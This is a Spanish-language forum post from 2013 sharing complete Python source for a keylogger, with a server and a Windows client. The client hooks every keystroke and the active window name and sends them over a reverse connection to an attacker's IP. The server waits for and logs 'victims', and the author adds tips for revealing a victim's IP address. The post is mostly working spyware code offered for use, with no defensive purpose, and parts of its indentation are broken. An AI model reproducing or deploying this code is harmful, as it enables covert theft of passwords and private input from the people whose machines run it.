Tu comunidad de Seguridad Informatica

Keylogger v1.1 [By Expermicid] Info1810 Para ver Todo el contenido del foro es necesario estar Registrado! Keylogger v1.1 [By Expermicid] Info1810
Keylogger v1.1 [By Expermicid] Info1810 Antes de comentar o Aportar es Obligado Leer Las: Reglas | Rules Keylogger v1.1 [By Expermicid] Info1810
Keylogger v1.1 [By Expermicid] Info1810Ya Esta Disponible al publico "LeProject" el Videojuego del Foro Click Aquí Para Ver el Post. Keylogger v1.1 [By Expermicid] Info1810
Keylogger v1.1 [By Expermicid] Info1810Pitbull Security Labs "Extras" Esta Disponible! [ENTRA]Keylogger v1.1 [By Expermicid] Info1810

No estás conectado. Conéctate o registrate

Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje [Página 1 de 1.]

1Expermicid 

Expermicid
Usuario
Usuario

Lun Mar 18, 2013 12:25 pm
Hola a todos! Despues de dos dias, aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.

Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.

Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.

Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)

Codigos:

Servidor:

Código:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

##########################################
##                                      ##
##      Keylogger v1.1                ##
##      By Expermicid                  ##
##       Fecha inicio : 16/10/12        ##
##       Fecha fin : 18/10/12          ##
##       Servidor                      ##
##                                      ##
##########################################

import socket
import os, sys

def ImprimirCabecera() :
   print '              ####################################################'
   print '              ####                                            ####'
   print '              ####      Keylogger v1.1 --- By Expermicid      ####'
   print '              ####                                            ####'
   print '              ####################################################'

def CrearArchivo() :
   archivo=open('Logs.txt','w')
   archivo.close()

def EscribirArchivo(texto) :
   archivo=open('Logs.txt','a')
       archivo.write(texto)
       archivo.close()

def Capturar(s, sc, opc2) :
   sys.stdout.write(os.popen('clear').read())
   ImprimirCabecera()
   print '              ####              CAPTANDO TECLAS              ####'
   print '              ####################################################\n'
   print '--------------------------------------------------------------------------------\n'
   if opc2 == '3' :
      CrearArchivo()
      EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')
   texto = ''
   nombreWindows = ''
   while True :
      try :
         recibido = sc.recv(1024)
      except :
         pass
      else :
         if len(recibido) > 0 :
            sys.stdout.write(os.popen('clear').read())
            ImprimirCabecera()
            print '              ####              CAPTANDO TECLAS              ####'
            print '              ####################################################\n'
            print '--------------------------------------------------------------------------------\n'
            if recibido[0] == ':' :
               letra = ':'
               window = recibido[2:]
            else :
               letra = recibido.split(':')[0]
               window = recibido.split(':')[1]   
            if opc2 == '1' :
               if window != nombreWindows :
                  texto += '\n\n***' + window + '***\n\n'
                  nombreWindows = window
               texto += letra
               print texto
            elif opc2 == '2' :
               if window != nombreWindows :
                  EscribirArchivo('\n\n***' + window + '***\n\n')
                  nombreWindows = window
               EscribirArchivo(letra)
            elif opc2 == '3' :
               if window != nombreWindows :
                  texto += '\n\n***' + window + '***\n\n'
                  EscribirArchivo('\n\n***' + window + '***\n\n')
                  nombreWindows = window
               texto += letra
               print texto
               EscribirArchivo(letra)

def Desconectar(s, sc) :
   while True :
      comando = raw_input()
      if comando == 'Q' or comando == 'q' :
         sc.close()
         s.close() 
         break
   Main()

def Main() :
   opc1 = ''
   while opc1 != '1' and opc1 != '2' :
      sys.stdout.write(os.popen('clear').read())
      ImprimirCabecera()
      print '              ####                    MENU                    ####'
      print '              ####################################################'
      print '              #### 1) ver si hay victimas conectadas          ####'
      print '              #### 2) salir                                  ####'
      print '              ####################################################\n'
      opc1 = raw_input('>>> ')
   if opc1 == '2' :
      sys.stdout.write(os.popen('clear').read())
      ImprimirCabecera()
      print '              ####                  DESPEDIDA                ####'
      print '              ####################################################'
      print '              ####      Gracias por usar mi keylogger        ####'
      print '              ####            Saludos, Expermicid            ####'
      print '              ####################################################\n'
      raw_input()
   elif opc1 == '1' :
      sys.stdout.write(os.popen('clear').read())
      ImprimirCabecera()
      print '              ####              ESPERANDO VICTIMA            ####'
      print '              ####################################################\n'
      host = ''
      port = 5000
      try :
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         s.bind((host, port))
         s.listen(3)
         sc, addr = s.accept()
      except :
         sys.stdout.write(os.popen('clear').read())
         ImprimirCabecera()
         print '              ####                  CONFLICTO                ####'
         print '              ####################################################'
         print '              ####          Ocurrio algun problema :(        ####'
         print '              ####################################################\n'
         raw_input()
      else :
         sys.stdout.write(os.popen('clear').read())
         ImprimirCabecera()
         print '              ####                  VICTIMA                  ####'
         print '              ####################################################\n'
         print 'Se conecto una victima :)' #sc.getpeername()
         raw_input()
         opc2 = ''
         while opc2 != '1' and opc2 != '2' and opc2 != '3' :
            sys.stdout.write(os.popen('clear').read())
            ImprimirCabecera()
            print '              ####            CONEXION CORRECTA :)            ####'
            print '              ####################################################'
            print '              ####                  OPCIONES                  ####'
            print '              ####################################################'
            print '              #### 1) ver teclas en consola                  ####'
            print '              #### 2) guardar teclas en archivo              ####'
            print '              #### 3) ver en consola y guardar en archivo    ####'
            print '              ####################################################\n'
            opc2 = raw_input('>>> ')
         child_pid = os.fork()
             if child_pid == 0 :
                 Capturar(s,sc,opc2)
             else :
                 Desconectar(s,sc)   
         return

Main()

Cliente:

Código:
# -*- coding: cp1252 -*-

##########################################
##                                      ##
##      Keylogger v1.1                ##
##      By Expermicid                  ##
##       Fecha inicio : 16/10/12        ##
##       Fecha fin : 18/10/12          ##
##       Cliente                        ##
##                                      ##
##########################################

import socket
import pythoncom, pyHook

def OnKeyboardEvent(event) :
   # letras minusculas y letras mayusculas
        if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
                letra = chr(event.Ascii)
        # numeros
        elif event.Ascii > 47 and event.Ascii < 58 :
                letra = chr(event.Ascii)
        # F1 .. F12
        elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
                letra = ' ['+event.Key+'] '
        # Espacio
        elif event.Ascii == 32 :
                letra = chr(event.Ascii)
        # Enter
        elif event.Ascii == 13 :
                letra = '\n'
        # BackSpace
        elif event.Ascii == 8 :
                letra = '[BackSpace]'
        # Escape
        elif event.Ascii == 27 :
                letra = '[Escape]'
        # Tab
        elif event.Ascii == 9 :
                letra = chr(event.Ascii)
        # Flechas
        elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Bloq Mayus
        elif event.KeyID == 20 and event.Ascii == 0 :
                letra = '[BloqMayus]'
        # caracteres
        elif event.Ascii > 32 and event.Ascii < 48 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 57 and event.Ascii < 65 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 90 and event.Ascii < 97 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 122 and event.Ascii < 127 :
                letra = chr(event.Ascii)
        # Insetar / Delete
        elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
                letra = ' ['+event.Key+'] '
        # ascii extendido
        elif event.Ascii > 127 and event.Ascii < 255 :
                letra = chr(event.Ascii)
        # Flechas
        elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Win / Apps
        elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Inicio-Fin / RePag-AvPag
        elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # caracter Ž
        elif event.KeyID == 222 and event.Ascii == 0 :
                letra = '´'
        try :
                s.send(letra+':'+event.WindowName)
        except :
                pass

   return True
               
try:
        host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda
        port = 5000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))   
except :
        pass
else:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.

Video:



Saludos

Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.